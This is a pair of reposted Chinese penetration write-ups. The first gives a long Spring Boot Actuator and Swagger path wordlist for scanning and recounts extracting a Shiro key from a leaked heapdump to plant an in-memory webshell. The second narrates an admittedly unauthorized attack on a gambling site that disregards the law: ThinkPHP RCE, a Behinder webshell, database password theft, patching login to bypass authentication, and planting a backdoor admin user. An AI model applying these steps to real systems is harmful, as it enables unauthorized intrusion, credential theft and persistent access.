ConfigurableEnvironment的属性/flyway是显示数据库迁移路径(如果存在)/health是显示应用的健康信息(当使用一个未认证连接访问时显示一个简单的’status’,使用认证连接访问则显示全部信息详情)/info是显示任意的应用信息/liquibase是展示任何Liquibase数据库迁移路径(如果存在)/metrics是展示当前应用的metrics信息/mappings是显示一个所有@RequestMapping路径的集合列表/scheduledtasks是显示应用程序中的计划任务/sessions否允许从Spring会话支持的会话存储中检索和删除用户会话/shutdown否允许应用以优雅的方式关闭(默认情况下不启用)/threaddump是执行一个线程dump/heapdump是返回一个GZip压缩的hprof堆dump文件/jolokia是通过HTTP暴露JMX beans(当Jolokia在类路径上时,WebFlux不可用)/logfile是返回日志文件内容(如果设置了logging.file或logging.path属性的话),支持使用HTTP Range头接收日志文件内容的部分信息/prometheus是以可以被Prometheus服务器抓取的格式显示metrics信息直接用spring收集好的目录进行目录扫描。 actuator/auditLog actuator/auditevents actuator/autoconfig actuator/beans actuator/caches actuator/conditions actuator/configurationMetadata actuator/configprops actuator/dump actuator/env actuator/events actuator/exportRegisteredServices actuator/features actuator/flyway actuator/health actuator/heapdump actuator/healthcheck actuator/heapdump actuator/httptrace actuator/hystrix.stream actuator/info actuator/integrationgraph actuator/jolokia actuator/logfile actuator/loggers actuator/loggingConfig actuator/liquibase actuator/metrics actuator/mappings actuator/scheduledtasks actuator/swagger-ui.html actuator/prometheus actuator/refresh actuator/registeredServices actuator/releaseAttributes actuator/resolveAttributes actuator/scheduledtasks actuator/sessions actuator/springWebflow actuator/shutdown actuator/sso actuator/ssoSessions actuator/statistics actuator/status actuator/threaddump actuator/trace auditevents autoconfig api.html api/index.html api/swagger-ui.html api/v2/api-docs api-docs beans caches cloudfoundryapplication conditions configprops distv2/index.html docs druid/index.html druid/login.html druid/websession.html dubbo-provider/distv2/index.html dump entity/all env env/(name) eureka flyway gateway/actuator gateway/actuator/auditevents gateway/actuator/beans gateway/actuator/conditions gateway/actuator/configprops gateway/actuator/env gateway/actuator/health gateway/actuator/heapdump gateway/actuator/httptrace gateway/actuator/hystrix.stream gateway/actuator/info gateway/actuator/jolokia gateway/actuator/logfile gateway/actuator/loggers gateway/actuator/mappings gateway/actuator/metrics gateway/actuator/scheduledtasks gateway/actuator/swagger-ui.html gateway/actuator/threaddump gateway/actuator/trace health heapdump heapdump.json httptrace hystrix hystrix.stream info integrationgraph jolokia jolokia/list liquibase list logfile loggers liquibase metrics mappings monitor prometheus refresh scheduledtasks sessions shutdown spring-security-oauth-resource/swagger-ui.html spring-security-rest/api/swagger-ui.html static/swagger.json sw/swagger-ui.html swagger swagger/codes swagger/index.html swagger/static/index.html swagger/swagger-ui.html swagger-dubbo/api-docs swagger-ui swagger-ui.html swagger-ui/html swagger-ui/index.html system/druid/index.html threaddump template/swagger-ui.html trace user/swagger-ui.html version v1.1/swagger-ui.html v1.2/swagger-ui.html v1.3/swagger-ui.html v1.4/swagger-ui.html v1.5/swagger-ui.html v1.6/swagger-ui.html v1.7/swagger-ui.html /v1.8/swagger-ui.html /v1.9/swagger-ui.html /v2.0/swagger-ui.html v2.1/swagger-ui.html v2.2/swagger-ui.html v2.3/swagger-ui.html v2/swagger.json webpage/system/druid/index.html %20/swagger-ui.html 开始扫描并发现其中存在heapdump,下载下来。Heap Dump也叫堆转储文件,是一个Java进程在某个时间点上的内存快照。可以通过Eclipse MemoryAnalyzer工具对泄露的heapdump文件进行分析,查询加载到内存中的明文密码信息,比如redis密码,mysql数据库账号和密码。这里我用的是whwlsfb师傅的JDumpSpider https://github.com/whwlsfb/JDumpSpider成功获取shiro的key打入内存马。获取管理员权限 转自原文链接地址: https://mp.weixin.qq.com/s/-ZdaVuqVmsw9PCHYDYuABA
-
记一次菠菜网站渗透半成品
前言在一个风和日丽的下午,我们正在Blank的带领下,兴致勃勃地讨论着,女人。 而float先生发现了一个访问了他博客的奇怪IP。 哎,根本不把什么网络安全法放在眼里,直接就开打。 Game Start浏览器访问会直接跳登陆界面。 信息收集路径上敲个X。拿到ThinkPHP和版本号。 同时,float先生nmap扫到801端口,并确定是宝塔建站。不过这里没有进一步研究。 RCE尝试5.0.21能直接RCE,且payload满天飞。不过依然遇到了一点小坑。 模块名不是通常的index,而且必须存在。根据跳转登录的uri: /admin/login/index.html 猜测module为admin,果然成功。 disable_functions赫然在列,则rce果然不成功。 种马好消息是写文件成功了。 访问shell.php,看到phpinfo界面。 反手就写冰蝎马连它。 趁机瞅了瞅,贷款、经理、业务员、bc...好,继续打。 连接数据库硬编码还真是宇宙难题,数据库密码到手。 第一次遇到MySQL的密码里有@,直接写会破坏连接串。如: mysql://root:[email protected]:3306/mysql password中的@会提前走到ip:端口的判断。需要把它编码为%40 管理员登录翻web目录和代码实在没有进展了,尝试登录一下系统。 数据库里有账号口令,当然口令是加盐的哈希。 谁家好人头铁非要暴密码出来,直接patch下login代码,不查表就完事了。 登录系统。 这业务看着真高级,看不懂一点,留下后门用户以防不测 转自于原文链接: https://mp.weixin.qq.com/s/f4nWOGgPXlSA_ChgpBj7Zw